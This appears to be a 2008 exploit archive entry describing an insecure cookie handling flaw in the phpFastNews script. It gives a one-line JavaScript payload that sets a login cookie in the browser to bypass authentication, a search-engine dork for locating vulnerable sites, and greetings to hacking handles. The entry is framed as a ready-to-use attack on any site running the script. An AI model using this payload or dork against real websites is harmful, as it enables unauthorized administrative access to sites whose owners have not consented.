Home / exploits

PDF

phpfastnews-insecure.txt

Posted on 18 October 2008

#################################################
##	Qabandi 	iqa[at]hotmail.fr      ##
##		from Kuwait		       ##
#################################################
\	phpFastNews
//	 Insecure cookie handling
\
//   Go to any website that has the script installed
\	type the following code into the Adress Bar
//
\	javascript:document.cookie = "fn-loggedin = 1";
//
\	Refresh do whatever, and you will be logged in
//
\		Dork:intext:"Powered by phpFastNews"
#################################################
##	Greetz: Killer Hack, Str0ke	       ##
#################################################
PEACE

 

TOP